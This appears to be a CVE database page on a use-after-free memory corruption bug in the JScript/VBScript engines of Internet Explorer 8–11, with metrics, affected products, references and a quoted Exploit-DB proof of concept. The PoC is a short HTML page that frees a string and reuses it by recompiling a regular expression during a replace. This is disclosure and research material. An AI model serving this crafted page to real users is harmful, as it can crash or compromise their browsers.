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CVE Descriptions
The Microsoft (1) VBScript 5.7 and 5.8 and (2) JScript 5.7 and 5.8 engines, as used in Internet Explorer 8 through 11 and other products, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted replace operation with a JavaScript regular expression, aka "Scripting Engine Memory Corruption Vulnerability."
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40798
Publication date : 2016-11-20 23h00 +00:00
Author : Skylined
EDB Verified : Yes
<!--
Source: http://blog.skylined.nl/20161116001.html
Synopsis
A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.
Known affected software, attack vectors and mitigations
Microsoft Internet Explorer 8
An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
-->
<!DOCTYPE html>
<html>
<script>
// This PoC attempts to exploit a use-after-free bug in Microsoft Internet
// Explorer 8.
// See http://blog.skylined.nl/20161116001.html for details.
var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
"A".replace(r, function (){
// Force OLEAUT32 to free the string
for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
// Reuse the freed memory
r.compile();
});
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
</html>
<!--
Description
Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.
Exploit
Exploitation was not investigated.
Time-line
March 2015: This vulnerability was found through fuzzing.
March 2015: This vulnerability was submitted to ZDI.
April 2015: This vulnerability was acquired by ZDI.
October 2015: Microsoft addressed this issue in MS15-018.
November 2016: Details of this issue are released.
-->
Products Mentioned
Configuraton 0
Microsoft>>Jscript >> Version 5.6
- Microsoft>>Jscript >> Version 5.6 (Open CPE detail)
Microsoft>>Jscript >> Version 5.7
- Microsoft>>Jscript >> Version 5.7 (Open CPE detail)
Microsoft>>Jscript >> Version 5.8
- Microsoft>>Jscript >> Version 5.8 (Open CPE detail)
Microsoft>>Vbscript >> Version 5.6
- Microsoft>>Vbscript >> Version 5.6 (Open CPE detail)
Microsoft>>Vbscript >> Version 5.7
- Microsoft>>Vbscript >> Version 5.7 (Open CPE detail)
Microsoft>>Vbscript >> Version 5.8
- Microsoft>>Vbscript >> Version 5.8 (Open CPE detail)
- Microsoft>>Vbscript >> Version 5.8 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 8
- Microsoft>>Internet_explorer >> Version 8 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 9
- Microsoft>>Internet_explorer >> Version 9 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 9 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 10
- Microsoft>>Internet_explorer >> Version 10 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 11
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
References
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-108
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-106
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
